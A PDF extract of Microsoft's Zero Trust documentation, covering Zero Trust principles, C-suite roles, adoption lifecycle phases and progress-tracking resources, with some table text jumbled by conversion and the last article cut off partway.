Security Zero Trust

Tell us about your PDF experience.
Zero Trust Guidance Center

Learn about the Zero Trust security model, its principles, and how to implement a Zero
Trust architecture using the deployment plans.
Zero Trust implementation guidance
ｐ CONCEPT
What is Zero Trust?
Identity
Endpoints
Data
Applications
Infrastructure
Networks
Visibility, automation, and orchestration
Small business guidance
Zero Trust adoption framework
ｐ CONCEPT
Overview
Rapidly modernize your security posture
Secure remote and hybrid work
Identify and protect sensitive business data
Prevent or reduce business damage from a breach
Meet regulatory and compliance requirements
Progress tracking resources
Microsoft 365 deployment plan for Zero Trust

｀ DEPLOY
Deploy your identity infrastructure for Microsoft 365
Zero Trust identity and device configurations
Manage endpoints with Microsoft Defender XDR
Evaluate, pilot, and deploy Microsoft Defender XDR
Deploy a Microsoft information protection solution
Deploy information protection for data privacy regulations
Integrate SaaS apps for Zero Trust with Microsoft 365
Setup guide for Zero Trust with Microsoft 365
Advanced deployment guide for Zero Trust with Microsoft 365 (requires sign-in)
Zero Trust for Microsoft Copilots
｀ DEPLOY
Overview
Microsoft Copilot
Microsoft 365 Copilot
Copilot for Security
Zero Trust deployment plans with Microsoft Azure
ｃ HOW-TO GUIDE
Azure IaaS
Azure Virtual Desktop
Azure Virtual WAN
IaaS applications in Amazon Web Services
Microsoft Sentinel and Microsoft Defender XDR
Microsoft networking encryption

Technology partner integrations
ｃ HOW-TO GUIDE
Integrate with Microsoft's Zero Trust solutions
Identity
Endpoints
Applications
Data
Infrastructure
Networks
Developer guidance
ｃ HOW-TO GUIDE
Develop using Zero Trust principles
Building apps that secure identity through permissions and consent
Securing DevOps environments for Zero Trust
Rapid Modernization Plan (RaMP)
ｃ HOW-TO GUIDE
Explicitly validate trust for all access requests
Ransomware recovery readiness
Data protection
What is Zero Trust?
Article • 04/12/2024
Zero Trust is a security strategy. It is not a product or a service, but an approach in

designing and implementing the following set of security principles.
ﾉ Expand table
Principle Description
Verify explicitly Always authenticate and authorize based on all available data points.
Use least Limit user access with Just-In-Time and Just-Enough-Access (JIT/JEA), risk-
privilege access based adaptive policies, and data protection.
Assume breach Minimize blast radius and segment access. Verify end-to-end encryption and
use analytics to get visibility, drive threat detection, and improve defenses.
This is the core of Zero Trust. Instead of believing everything behind the corporate
firewall is safe, the Zero Trust model assumes breach and verifies each request as though
it originated from an uncontrolled network. Regardless of where the request originates
or what resource it accesses, the Zero Trust model teaches us to "never trust, always
verify."
Zero Trust is designed to adapt to the complexities of the modern environment that
embraces the mobile workforce and protects user accounts, devices, applications, and
data wherever they are located.
A Zero Trust approach should extend throughout the entire digital estate and serve as
an integrated security philosophy and end-to-end strategy.
Different organizational requirements, existing technology implementations, and

security stages all affect how a Zero Trust security model implementation is planned and
executed. Using our experience in helping customers to secure their organizations, as
well as in implementing our own Zero Trust model, Microsoft has developed guidance
to assess your readiness and help you build a plan to get to Zero Trust.
With Zero Trust, you move away from a trust-by-default perspective to a trust-by-
exception one. An integrated capability to automatically manage those exceptions and
alerts is important so you can more easily find and detect threats, respond to them, and
prevent or block undesired events across your organization.
Zero Trust and the US Executive Order 14028 on
Cybersecurity
US executive order 14028, Improving the Nation's Cyber Security , directs federal
agencies on advancing security measures that drastically reduce the risk of successful
cyberattacks against the federal government's digital infrastructure. On January 26,
2022, the Office of Management and Budget (OMB) released the federal Zero Trust
strategy in memorandum 22-09 , in support of EO 14028.
Recommended training
ﾉ Expand table
Training Introduction to Zero Trust
Use this module to understand the Zero Trust approach and how it strengthens
the security infrastructure within your organization.
Start >
ﾉ Expand table
Training Introduction to Zero Trust and best practice frameworks
Use this module to learn about best practices that cybersecurity architects use and
some key best practice frameworks for Microsoft cybersecurity capabilities. You also
learn about the concept of Zero Trust, and how to get started with Zero Trust in your
organization.
Start >
Next steps
Use additional Zero Trust content based on a documentation set or the roles in your
organization.
Documentation set
Follow this table for the best Zero Trust documentation sets for your needs.
ﾉ Expand table
Documentation set Helps you... Roles
Adoption framework for phase and Apply Zero Trust protections Security architects, IT
step guidance for key business from the C-suite to the IT teams, and project
solutions and outcomes implementation. managers
Deployment for technology pillars for Apply Zero Trust protections IT teams and security
conceptual information and aligned with typical IT staff
deployment objectives technology areas.
Zero Trust for small businesses Apply Zero Trust principles Customers and partners
to small business customers. working with Microsoft
365 for business
Zero Trust Rapid Modernization Plan Quickly implement key layers Security architects and IT
(RaMP) for project management of Zero Trust protection. implementers
guidance and checklists for easy wins
Zero Trust deployment plan with Apply Zero Trust protections IT teams and security
Microsoft 365 for stepped and to your Microsoft 365 tenant. staff
detailed design and deployment
guidance
Zero Trust for Microsoft Copilots for Apply Zero Trust protections IT teams and security
stepped and detailed design and to Microsoft Copilots. staff
deployment guidance
Zero Trust for Azure services for Apply Zero Trust protections IT teams and security
stepped and detailed design and to Azure workloads and staff
deployment guidance services.
Partner integration with Zero Trust for Apply Zero Trust protections Partner developers, IT
design guidance for technology areas to partner Microsoft cloud teams, and security staff
and specializations solutions.
Develop using Zero Trust principles Apply Zero Trust protections Application developers
for application development design to your application.
guidance and best practices
Your role
Follow this table for the best documentation sets for the roles in your organization.
ﾉ Expand table
Role Documentation set Helps you...
Security architect Adoption framework for phase and step Apply Zero Trust protections
guidance for key business solutions and from the C-suite to the IT
IT project manager outcomes implementation.
IT implementer
Member of an IT or Deployment for technology pillars for Apply Zero Trust protections
security team conceptual information and deployment aligned with typical IT
objectives technology areas.
Customer or partner Zero Trust for small businesses Apply Zero Trust principles
for Microsoft 365 for to small business customers.
business
Security architect Zero Trust Rapid Modernization Plan Quickly implement key
(RaMP) for project management layers of Zero Trust
IT implementer guidance and checklists for easy wins protection.
Member of an IT or Zero Trust deployment plan with Apply Zero Trust protections
security team for Microsoft 365 for stepped and detailed to your Microsoft 365
Microsoft 365 design and deployment guidance for tenant.
Microsoft 365
Member of an IT or Zero Trust for Microsoft Copilots for Apply Zero Trust protections
security team for stepped and detailed design and to Microsoft Copilots.
Microsoft Copilots deployment guidance
Member of an IT or Zero Trust for Azure services for stepped Apply Zero Trust protections
security team for and detailed design and deployment to Azure workloads and
Azure services guidance services.
Partner developer or Partner integration with Zero Trust for Apply Zero Trust protections
member of an IT or design guidance for technology areas to partner Microsoft cloud
security team and specializations solutions.
Application developer Develop using Zero Trust principles for Apply Zero Trust protections
application development design to your application.
Related links
Zero Trust Overview -This video provides information about:
Zero Trust definition
Zero Trust principles
Zero Trust core concepts
Rapid modernization plan (RaMP) quick wins
Zero Trust - The Open Group -This video provides a perspective on Zero Trust
from a standards organization.
Feedback
Was this page helpful?  Yes  No
Zero Trust assessment and progress
tracking resources
Article • 04/15/2024
Zero Trust is a new security model that assumes breach and verifies each request as
though it originated from an uncontrolled network. Regardless of where the request
originates or what resource it accesses, the Zero Trust model teaches us to "never trust,
always verify."
As an IT architect or implementer, you can use the assessment and progress tracking
resources in this article to:
Assess your infrastructure’s readiness for Zero Trust, including discovering which
elements are already in place or can be easily strengthened or improved.
Track the progress of the necessary Zero Trust security improvements in your
environment for both business leaders and your IT departments.
Progress tracking resources for the adoption

framework business scenarios
The Zero Trust adoption framework documentation set helps security and technology
teams collaborate with business leaders on Zero Trust by providing:
Recommended Zero Trust objectives for business leaders across organizations.
A methodical and phased approach to implementing a Zero Trust architecture.
A systematic way to track progress on objectives, scoped to business leaders.
A systematic way to track progress on objectives and their tasks, scoped to IT leads
and implementers.
Curation of the most relevant resources for adoption of Zero Trust including:
PowerPoint slides that are ready to present to business leaders.
Excel worksheets to assess your current status and to track progress.
Technical implementation guidance and user infographics.
This Zero Trust adoption guidance recommends building a Zero Trust strategy and
architecture through these business scenarios:

Each business scenario describes how to advance the required technical work through
each of the lifecycle phases (Define strategy, Plan, Ready, Adopt, and Govern and
manage), starting with building the business case.
For each business scenario, you can use the following progress tracking resources.
At-a-glance blueprint for Zero Trust

Adoption Scenario Plan Phase Grid
Easily understand the security enhancements for each business scenario and the level of
effort for the stages and objectives of the Plan phase.
For business scenario project leads, business leaders, and other stakeholders.
Download — Visio file or PDF
Business leader tracker for Zero Trust

Zero Trust adoption tracker
Track your progress through the stages and objectives of the Plan phase.
For business scenario project leads, business leaders, and other stakeholders.
Download — PowerPoint slide deck


Implementer tracker for Zero Trust

Business scenario objectives and tasks
Assign ownership and track your progress through the stages, objectives, and tasks of
the Plan phase.
For business scenario project leads, IT leads, and IT implementers.
Download — Excel workbook
In-product dashboard for Zero Trust

Zero Trust initiative in the Microsoft Defender portal (might require sign-in with a user
account that has Microsoft Defender portal privileges)
Also see Microsoft Security Exposure Management initiatives.
See current status, security metrics, and recommendations for the adoption framework
business scenarios.
For business scenario project leads, IT leads, and IT implementers.


Assessment resources
To understand where your organization is on its Zero Trust journey, use these
assessment resources.
Microsoft Zero Trust Security Posture Assessment

Evaluate your Zero Trust security posture and maturity level.
For IT department project leads and implementers.
Microsoft Zero Trust Security Posture Assessment
Zero Trust Assessment strategy workshop

Evaluate your Zero Trust security posture and maturity level.
For IT department project leads and implementers.
Zero Trust Assessment strategy workshop downloadable Excel workbook at

https://aka.ms/ztassess
ﾉ Expand table
Training Introduction to Zero Trust
Use this module to understand the Zero Trust approach and how it strengthens
the security infrastructure within your organization.
Start >
ﾉ Expand table
Training Introduction to Zero Trust and best practice frameworks
Use this module to learn about best practices that cybersecurity architects use and
some key best practice frameworks for Microsoft cybersecurity capabilities. You also
learn about the concept of Zero Trust, and how to get started with Zero Trust in your
organization.
Start >
Additional Zero Trust resources

organization.
Documentation set
ﾉ Expand table
Concepts and deployment objectives Apply Zero Trust protections IT teams and security
for general deployment guidance for aligned with technology staff
technology areas areas.
365 for business
guidance
deployment guidance
Your role
Follow this table for the best documentation sets for your role in your organization.
ﾉ Expand table
IT implementer
Member of an IT or Concepts and deployment objectives for Apply Zero Trust protections
security team general deployment guidance for aligned with technology
business
Microsoft 365
Feedback
Zero Trust adoption framework
overview
Article • 04/12/2024
Digital transformation is shaping a new normal. Organizations are embracing digital

transformation to manage continuous business environment changes by tracking:
Shifting business models and partnerships.

Technology trends.
Regulatory, geopolitical, and cultural forces.
Additionally, COVID-19 remote work accelerated this transformation and is shifting

security from a cost center to a strategic driver for growth.
Zero Trust is security for digital business. Digital transformation requires updating
traditional security models because traditional security approaches don’t meet current
requirements for business agility, user experiences, and continuously evolving threats.
Organizations are implementing Zero Trust to address these challenges and enable the
new normal of working anywhere, with anyone, at any time.
However, shifting from a traditional security model to Zero Trust represents a significant
transformation that requires buy-in, adoption, and change management across an entire
organization. Updating a traditional security model to Zero Trust is a transformation that
takes time and requires buy-in, adoption, and change management across an entire
organization. Business leaders, technology leaders, security leaders, and security
practitioners all play critical parts in creating an agile Zero Trust security approach.
Many security architects and IT teams ask for help communicating to business leaders,
tracking progress, and driving adoption. This guidance helps security and technology
teams collaborate with business leaders on Zero Trust by providing:
Recommended Zero Trust objectives for business leaders across organizations.
A methodical and phased approach to implementing a Zero Trust architecture.
A systematic way to track progress, scoped to business leaders.
Curation of the most relevant resources for adoption of Zero Trust from slides that
are ready to present to business leaders to technical implementation guidance and
user infographics.
"Our goal is to help every organization strengthen its security capabilities through a
Zero Trust architecture built on our comprehensive solutions that span identity, security,
compliance, and device management across all clouds and platforms." –Satya Nadella,
executive chairman and CEO of Microsoft
As a Microsoft partner, NBConsult contributed to and provided material feedback to this

adoption guidance.
Zero Trust requires buy-in at the highest level

Zero Trust protects business assets wherever they are located and wherever they go.
Zero Trust is a proactive, integrated approach to security that requires knowing what
business assets and processes are most important to protect, and securing these while
preserving business agility.
Adopting a Zero Trust approach requires buy-in across the C-suite. As the threat
landscape expands, and critical attacks become more common, business leaders across
functional areas are increasingly concerned with the cybersecurity approach their
organization's take.
Zero Trust allows the entire C-suite and business to embrace a measurable business
outcome that is aligned to reducing threats and increasing productivity.
Zero Trust adds value to two predominant scenarios that are seen in the marketplace:
1. A formal security strategy aligned to business outcomes. This Zero Trust

approach provides a holistic view on security to the entire business, through values
that are shared across the business and adopted at every level from the top down.
This is often CISO-led and business outcomes are tracked as part of the reporting
function of Zero Trust in an ongoing manner.
2. Delegated security to IT functions where security is treated as another technology
vertical with minimal C-suite input and integration. This often focuses on short
term cost optimization for security rather than managing it as a business risk, often
further separating security into non-integrated "best of breed" independent
solutions.
Zero Trust provides a way of integrating the vertical solutions into a single vision. This
vision supports consistent business capabilities and outcomes and provides ongoing
measurable metrics on the state of security.
Traditionally the CISO or IT/Security manager sets strategy, or at least security

technology choices. However, buy-in from the other C-level leaders is required to justify
additional "security" spending. Under the Zero Trust security strategy, other C-suite
members are required to take part in the Zero Trust journey, understanding that security
is a shared business responsibility aligned to business outcomes.
The following is a generalized view of the possible functions taken by various C-level
functions and how they align to an integrated vision of security using Zero Trust.
ﾉ Expand table
Role Responsibility Zero Trust interest
Chief Executive Responsible for the Zero Trust provides an integrated approach to
Officer (CEO) business security across all digital layers.
Chief Marketing Responsible for the Zero Trust allows for the rapid recovery from breach
Officer (CMO) marketing vision and and empowers the responsible reporting function
execution for a public-facing organization, allowing breaches
to be contained without reputational loss.
Chief Information Responsible for IT as a Zero Trust principles eliminate vertical security
Officer (CIO) whole solutions that aren't aligned to business outcomes
and enables Security as a Platform, which does align
to business outcomes.
Chief Information Responsible for Zero Trust principles provide a sufficient foundation
Security Officer security program for the organization to comply with various security
(CISO) implementation standards and enables the organization to secure
data, assets, and infrastructure.
Chief Technology Chief Architect in the Zero Trust helps with defensible technology
Officer (CTO) business alignment aligned to business outcomes. Using
Zero Trust, security is baked into every architecture.
Chief Operations Responsible for Zero Trust helps with operational governance; the
Officer (COO) operational execution "how to" of the security vision and the surfacing of
who did what and when. Both are aligned to
business outcomes.
Chief Financial Responsible for Zero Trust helps with the accountability of spend
Officer (CFO) governance and spend and the defensibility of spend; a measurable way of
gaining a risk-based measure against security and
Zero Trust spending aligned to business outcomes.
Zero Trust principles for the C-suite
Zero Trust is a strategy and architecture based on three principles.
ﾉ Expand table
Principle Technical description Business description
Verify Always authenticate and This principle requires users to verify who they
explicitly authorize based on all available are, using more than one method, so that
data points, including user compromised accounts gained by hackers
identity, location, device health, aren't allowed to access your data and apps.
service or workload, data
classification, and anomalies. This approach also requires devices to be
recognized as being allowed to access the
environment and, ideally, to be managed and
healthy (not compromised by malware).
Use least Limit user access with just-in- This principle limits the blast radius of a
privileged time and just-enough-access potential breach so that if an account is
access (JIT/JEA), risk-based adaptive compromised, the potential damage is limited.
policies, and data protection to
help secure both data and For accounts with greater privileges, such as
productivity. administrator accounts, this involves using
capabilities that limit how much access these
accounts have and when they have access. It
also involves using higher-levels of risk-based
authentication policies for these accounts.
This principle also involves identifying and

protecting sensitive data. For example, a
document folder associated with a sensitive
project should only include access permissions
for the team members who need it.
These protections together limit how much

damage can be caused by a compromised user
account.
Assume Minimize blast radius and This principle assumes the likelihood that an
breach segment access. Verify end-to- attacker will gain access to an account, identity,
end encryption and use analytics endpoint, application, API, or other asset. To
to get visibility, drive threat respond, Microsoft protects all of the assets
detection, and improve accordingly to limit the damage.
defenses.
This principle also involves implementing tools
for ongoing threat detection and rapid
response. Ideally these tools have access to
signals integrated across your environment and
Principle Technical description Business description
can take automated actions, such as disabling

an account, to reduce the damage as soon as
possible.
Zero Trust functional areas and technical

architecture
The three principles of Zero Trust are applied across defense areas. These are sometimes
referred to as functional areas or disciplines of IT management. Many organizations are
structured around these areas with teams of specialized individuals.
Zero Trust requires taking an integrated approach across these areas and teams, which
is why it's so important to have buy-in across the C-suite and a well-orchestrated
strategy and plan across your organization.
ﾉ Expand table
Functional Technical definition Business translation

area
Identities Human and non-human Anything human or machine based that is able
identities, including users, to sign in or use your services.
computers, and service
principals. Anything that can
authenticate.
Endpoints End user computing devices, The devices our users use to connect to your
including computers, laptops, services and operate on your data.
mobile phones, and tablets.
Apps Cloud or datacenter-based All apps that are used by your organization,
applications that require users including SaaS apps that you subscribe to and
to sign in and consume those other applications, whether in the cloud or on-
services or applications. premises.
Infrastructure Infrastructure as a Service These are the technical foundations and

(IaaS) or datacenter-based components that support your organization,
infrastructure, including including physical and virtual servers hosted in
network components, servers, your datacenter or a cloud service.
and data storage.
Data Structured, unstructured, and Your businesses data contained in files,

application- contained data. databases, or other applications (such as CRM).
Functional Technical definition Business translation
area
Network LAN, WAN, wireless, or The network used to connect your users to the
internet connection, including services they need. This may be a corporate-run
mobile (such as 3G and 5G) or local area network (LAN), the wider network
even the coffee shop wireless encompassing access to your digital estate, or
network. the internet connections used by your workers
to connect.
When applying Zero Trust strategy across a digital estate, it’s less helpful to think about
tackling each of these domain areas independently. It’s not as if the identity team can
accomplish all the recommendations and then the Zero Trust focus can move to the
team that manages endpoints. Zero Trust strategy applies these functional areas
together to secure an area within a digital estate and then broaden the scope of the
protection across it.
For example, the identity team can only make so much progress in utilizing Microsoft
Entra Conditional Access policies before coordinating with the endpoints team to weave
together protection.
The following diagram integrates these functional areas into a unified Zero Trust
architecture.
Policy Optimization
Governance
Compliance
Data
Security Posture Assessment Emails & documents
Productivity Optimization Structured data
Identities
Human
Non-human
Apps
Zero Trust Policies Network
SaaS
Evaluation Public
On-premises
Enforcement Private
Endpoints Infrastructure
Corporate Serverless
Personal Containers
IaaS
Threat Protection
Paas
Continuous Assessment
Internal Sites
Threat Intelligence
Forensics
Response Automation

Telemetry/analytics/assessment JIT & Version Control
In the diagram:
Each of the functional areas are represented: Identities, Endpoints, Network, Data,
Apps, Infrastructure
Zero Trust integrates protection across all the functional areas through policies and
Policy Optimization.
Threat protection brings together signals across the organization in real-time to
provide visibility into attacks and to streamline remediation through automated
actions and incident response tracking.
The next section discusses how to get started on the Zero Trust journey. We’ll use the
Identities functional area as an example.
The Zero Trust adoption motion

Customers who are familiar with the Cloud Adoption Framework for Azure have asked,
"Where’s the Zero Trust adoption framework?"
The Cloud Adoption Framework for Azure is a methodical process for introducing new
apps and services into an organization. The focus is primarily on a proven process an
organization can follow to introduce an app or service into the environment. The scale
motion is repeating the process for each app that is added to a digital estate.
Adoption of a Zero Trust strategy and architecture requires a different scope. It's about
introducing new security configurations across an entire digital estate. The scale motion
is two dimensional:
Taking a piece of the Zero Trust architecture, such as data protection, and scaling
out this protection across the entire digital estate.
Repeating the process with each additional piece of the Zero Trust architecture,
starting with strategic quick wins and foundational pieces, and then advancing to
more complex pieces.
Like the Cloud Adoption Framework for Azure, this Zero Trust adoption guidance
addresses the work through adoption scenarios as described in the next section.
The following diagram summarizes the differences between these two types of adoption
motions.
Cloud Adoption Framework for Azure Zero Trust adoption framework
Proven cloud adoption motion leading with business scenarios and justification.
Business readiness, team and role readiness, and technical readiness.
Adoption motion for Adoption motion for

new cloud apps and services components of a Zero Trust
architecture
How to adopt an app or service into a How to introduce a secure configuration

digital estate or capability across a digital estate

This Zero Trust adoption guidance uses the same lifecycle phases as the Cloud Adoption
Framework for Azure but adapted for Zero Trust.
Define strategy Plan Ready Adopt

Build a business case Prioritize quick wins and Create a multi-layer Incrementally implement
focused on the outcomes incremental progress strategy for your Zero your strategy across
most closely aligned with Trust deployment and functional areas
your organization’s risks Embrace existing prioritize early actions
and strategic goals technologies already based on business needs
deployed or licensed
Identify adjustments to
Structure coherent the prescriptive
initiatives with clear deployment guidance
outcomes, benefits, and necessary for your
ownership environment
Govern Manage
Track and measure the Use monitoring and
success of your detection technologies
deployment
Incrementally mature each
functional area
The following table describes the lifecycle phases.
ﾉ Expand table
Lifecycle Description
phase
Define Build a business case focused on the outcomes most closely aligned with your
strategy organization’s risks and strategic goals.
Plan Prioritize quick wins and incremental progress.

Embrace existing technologies already deployed or licensed.
Lifecycle Description
phase
Structure coherent initiatives with clear outcomes, benefits, and ownership.
Ready Create a multi-layer strategy for your Zero Trust deployment and prioritize
early actions based on business needs.
Identify adjustments to the prescriptive deployment guidance necessary for
your environment.
Adopt Incrementally implement the strategy across functional areas.
Govern Track and measure the success of your deployment.
Manage Use monitoring and detection technologies.

Incrementally mature each functional area.
Business scenarios
This Zero Trust adoption guidance recommends building a Zero Trust strategy and
architecture through these business scenarios:

Each business scenario is described in an article that describes how to progress the
technical work through each of the lifecycle phases, starting with building the business
case. The most appropriate resources are provided along the way.
Each of these business scenarios breaks down the work of Zero Trust into manageable
pieces that can be implemented over four implementation stages. This helps you
prioritize, move forward, and track work as you move through the different layers of
implementing a Zero Trust architecture.
This guidance includes a PowerPoint slide deck with progress slides that you can use
to present the work and track your progress at a high level for business leaders and
other stakeholders. The slides include features that help you keep track of and present
progress to stakeholders. Here's an example.

This guidance also includes an Excel workbook with worksheets for each business
scenario that you can use to assign owners and track progress for each stage, objective,
and task. Here's an example.
Across the business scenarios, the implementation stages are roughly aligned so that
accomplishing the objectives of Stage 1 across the scenarios help keep your
organization progressing on all fronts together.
Starting a Zero Trust journey

If you're embarking on a Zero trust journey that is aligned to a business scenario or
looking to embrace Zero Trust as a strategic defense doctrine, success can be difficult to
measure. This is because security doesn't pass a simple pass/fail type of evaluation.
Rather, security is a commitment and a journey, to which Zero Trust supplies guiding
principles.
Using this adoption guidance as a process framework, first establish and document our
security strategy, very similar to a Project Initiation Document (PID). Using the principles
that apply to strategy, at minimum, you should document:
What are you doing?

Why are you doing it?
How do you agree on and measure success?
Each business scenario encompasses a different set of assets with different tools to take
inventory. Methodically, you begin with an inventory and classification of the assets for
each business scenario:
1. Asset Identification: What assets do you want to protect, such as identities, data,
apps, services, and infrastructure? You may use the functional areas called out
above as a guide of where to start. Asset identification forms part of your Define
strategy and Plan lifecycle phases. The Define strategy phase can articulate a
specific scenario, while the Plan phase documents the digital estate.
2. Asset Classification: How important is each one of the identified assets, such as
identities, business critical data, and human resources data? Asset classification is
part of the Ready phase where you begin to identify the protection strategy for
each asset.
3. Asset Management: How do you choose to protect (govern) and administer
(manage) these assets?
4. Asset Recovery: How do you recover from compromise or loss of control of an
asset (govern)?
Each business scenario recommends how to take inventory as well as how to protect the
assets and report on progress. While there's inevitably some overlap across the business
scenarios, this adoption guidance attempts to simplify as much as possible by
addressing asset types in predominantly one business scenario.
Tracking progress
Tracking your progress throughout the Zero Trust adoption process is crucial as it allows
your organization to monitor and measure strategic goals and objectives.
What to track and measure

Microsoft recommends taking two approaches to tracking your progress:
1. Measure your progress against mitigating risks to your business.

2. Measure your progress towards achieving strategic objectives across the Zero Trust
architecture.
Many organizations use International Organization for Standardization (ISO) standards

resources and tools to gauge an organization’s risk. Specifically:
ISO/IEC 27001:2022
Information security, cybersecurity, and privacy protection
Information security management systems
Requirements
ISO 31000
Risk management
The requirements and guidelines in these standards are generic and can apply to any
organization. They provide a structured and comprehensive way for you to review and
gauge the risks that apply to your organization, as well as mitigations.
Identifying and understanding the specific risks that apply to your organization will help
you prioritize your most strategic objectives across the Zero Trust architecture.
How to track and measure

Once your organization has identified and prioritized your most strategic technical
objectives, you can map out a staged roadmap for implementation. You can then track
your progress by using various tools.
Customizable tracking reports

Microsoft provides customizable PowerPoint and Excel tracking tools. These are pre-
populated with objectives and tasks, organized by Zero Trust business scenarios. You can
customize these with your own priorities, objectives, and team members.
Business leader tracker — A downloadable PowerPoint slide deck with progress

tracking slides. These are designed to help you track and communicate progress at
a high level. Customize these slides for your own use.
Implementer tracker — A downloadable Excel workbook to assign ownership
and track your progress through the stages, objectives, and tasks. For business
scenario project leads, IT leads, and IT implementers.
In-product dashboards
Microsoft Security Exposure Management is a security solution that provides a unified
view of security posture across company assets and workloads. Within this tool, Security
Initiatives help you assess readiness and maturity in specific areas of security risk.
Security Initiatives take a proactive approach to managing security programs towards
specific risk or domain-related objectives.
Use the Zero Trust initiative to track your organization’s progress toward implementing
Zero Trust security. This initiative is aligned with this Microsoft Zero Trust adoption
framework, allowing you to track your progress with metrics aligned with business
scenarios. These metrics capture your resource coverage across prioritized actionable
recommendations to help security teams protect their organization. The initiative also
provides real-time data on your Zero Trust progress that can be shared with
stakeholders.
For more information about how to use the Zero Trust initiative within the Exposure
Management tool, see Rapidly modernize your security posture — Track and measure.
Additionally, several other portals and reports can assist you in creating an overview of
risk within your business, including:
The Critical Asset Protection initiative in Microsoft Security Exposure Management

brings together critical asset risk across Defender products and areas.
Reports within Microsoft Defender XDR provide information regarding security
trends and track the protection status of your identities, data, devices, applications,
and infrastructure.
The Cloud Security Explorer allows you to proactively hunt for security risks.
For example, within Microsoft Defender XDR, the device inventory provides a clear view
into newly discovered devices in your network that aren't yet protected. At the top of
each Device inventory tab, you can see the total number of devices that aren't
onboarded. Here's an example.
For more information on using Microsoft Defender XDR to track your progress, see
Strengthen your security posture with Microsoft Defender XDR.
Note that the progress percentages provided by in-product tools might not be accurate
for organizations that aren't willing to implement all controls due to reasons such as:
Scope of the business

Licensing
Capacity
Additional articles for adoption

Secure remote and hybrid work with Zero Trust

For each business scenario, you can use the following progress tracking resources.
ﾉ Expand table
Progress tracking resource That helps you… Designed for…
Adoption Scenario Plan Easily understand the security Business scenario project
Phase Grid downloadable enhancements for each business leads, business leaders,
Visio file or PDF scenario and the level of effort for the and other stakeholders.
stages and objectives of the Plan
phase.

Zero Trust adoption tracker Track your progress through the Business scenario project
downloadable PowerPoint stages and objectives of the Plan leads, business leaders,
slide deck phase. and other stakeholders.
Business scenario objectives Assign ownership and track your Business scenario project
and tasks downloadable progress through the stages, leads, IT leads, and IT
Excel workbook objectives, and tasks of the Plan implementers.
phase.
For additional resources, see Zero Trust assessment and progress tracking resources.
Additional Zero Trust documentation

See additional Zero Trust content based on a documentation set or your role in your
organization.
Documentation set
ﾉ Expand table
Concepts and deployment objectives Apply Zero Trust IT teams and security staff
for general deployment guidance for protections aligned with
technology areas technology areas.
Zero Trust for small businesses Apply Zero Trust Customers and partners
principles to small working with Microsoft
business customers. 365 for business
Zero Trust Rapid Modernization Plan Quickly implement key Security architects and IT
(RaMP) for project management layers of Zero Trust implementers
guidance and checklists for easy wins protection.
Zero Trust deployment plan with Apply Zero Trust IT teams and security staff
Microsoft 365 for stepped and detailed protections to your
design and deployment guidance Microsoft 365 tenant.
Zero Trust for Microsoft Copilots for Apply Zero Trust IT teams and security staff
stepped and detailed design and protections to Microsoft
deployment guidance Copilots.
Zero Trust for Azure services for Apply Zero Trust IT teams and security staff
stepped and detailed design and protections to Azure
deployment guidance workloads and services.
Partner integration with Zero Trust for Apply Zero Trust Partner developers, IT
design guidance for technology areas protections to partner teams, and security staff
and specializations Microsoft cloud
solutions.
Develop using Zero Trust principles for Apply Zero Trust Application developers
application development design protections to your
guidance and best practices application.
Your role
ﾉ Expand table
Member of an IT or Concepts and deployment objectives for Apply Zero Trust

security team general deployment guidance for protections aligned with
technology areas technology areas.
Customer or partner Zero Trust for small businesses Apply Zero Trust
for Microsoft 365 for principles to small
business business customers.
(RaMP) for project management guidance layers of Zero Trust
IT implementer and checklists for easy wins protection.
Member of an IT or Zero Trust deployment plan with Microsoft Apply Zero Trust
security team for 365 for stepped and detailed design and protections to your
Microsoft 365 deployment guidance for Microsoft 365 Microsoft 365 tenant.
Member of an IT or Zero Trust for Microsoft Copilots for Apply Zero Trust
security team for stepped and detailed design and protections to Microsoft
Microsoft Copilots deployment guidance Copilots.
Member of an IT or Zero Trust for Azure services for stepped Apply Zero Trust
security team for Azure and detailed design and deployment protections to Azure
services guidance workloads and services.
Partner developer or Partner integration with Zero Trust for Apply Zero Trust
member of an IT or design guidance for technology areas and protections to partner
security team specializations Microsoft cloud
solutions.
Application developer Develop using Zero Trust principles for Apply Zero Trust
application development design guidance protections to your
and best practices application.
Feedback
Article • 05/06/2024
As part of Zero Trust adoption guidance, this article describes the business scenario of
rapidly modernizing your security posture. Rather than focusing on the technical work
required to implement a Zero Trust architecture, this scenario focuses on how to
develop your strategy and priorities and then how to systematically implement your
priorities, piece by piece, while measuring and reporting your progress.
Your security posture is defined as your organization’s overall cybersecurity defense

capability, along with the level of preparation and operational status to deal with
ongoing cyber-security threats. This posture should be quantifiable and measurable,
similarly to any other major metric that pertains to the operational status or well-being
of your organization.
Security posture
Your organization’s overall Your organization’s

cybersecurity defense operational ability to
capability respond to threats
Your organization’s ability to measure and communicate

security status
Rapidly modernizing your security posture involves working within your organization,
especially leaders across your organization, to develop a strategy and a set of priorities
and objectives. You then identify the technical work necessary to achieve the objectives
and lead the various teams to accomplish them. The other business scenarios in this
adoption guidance are designed to help accelerate this technical work. Finally, a key part
of a strong security posture is the ability to communicate status, progress, and value to
business leaders.
Rapidly modernizing your security posture
Your strategy and business priorities
Your priority of the technical work Your leadership to gain Your ability to
recommended within the business scenarios: buy-in to strategic communicate status,
technical projects and to progress, and value
· Secure remote and hybrid work lead these to completion
· Identify and protect sensitive business data
· Prevent or reduce damage from a breach
· Meet regulatory or compliance
requirements

Rapidly modernizing your security posture depends on your ability to systematically

lead each component piece of your Zero Trust architecture through the adoption
lifecycle. Each Zero Trust business scenario article recommends objectives across four
stages. You can think of each objective as a technical project that you can lead through
the adoption process. A more granular representation of the adoption process for a
single objective or set of objectives is illustrated here.
The following table is an accessible version of the illustration.
ﾉ Expand table
Define strategy Plan Ready Adopt Govern and

manage
Organizational Stakeholder Evaluate Incrementally implement Track and

alignment team across your digital estate measure
Test
Strategic goals Technical Monitor and
plans Pilot detect
Outcomes
Skills Iterate for
readiness maturity
Rapidly modernizing refers to your ability to accelerate your organization’s capacity to

deploy security configurations and threat protection capabilities across your digital
estate at a pace that helps you get ahead of threats and mitigate your top risks. Think of
it as a flywheel you're building in which you’ve created a repeatable process that you
can feed many technical projects through.
Start here
Define strategy
Govern and manage Plan
Adopt Ready

As you build your organization’s capacity to deploy security configurations, you can
begin staggering their implementation. For example, after you’ve defined the strategy
and objectives for a business scenario, you can stagger the implementation of the
technical objectives. Here is an example.
Define strategy and Plan, Ready, Adopt, Govern and Manage

objectives for the
Secure remote and Verify and secure every identity with strong
hybrid work 11 authentication
business scenario
Integrate SaaS apps with Microsoft Entra ID for
2 single sign-on
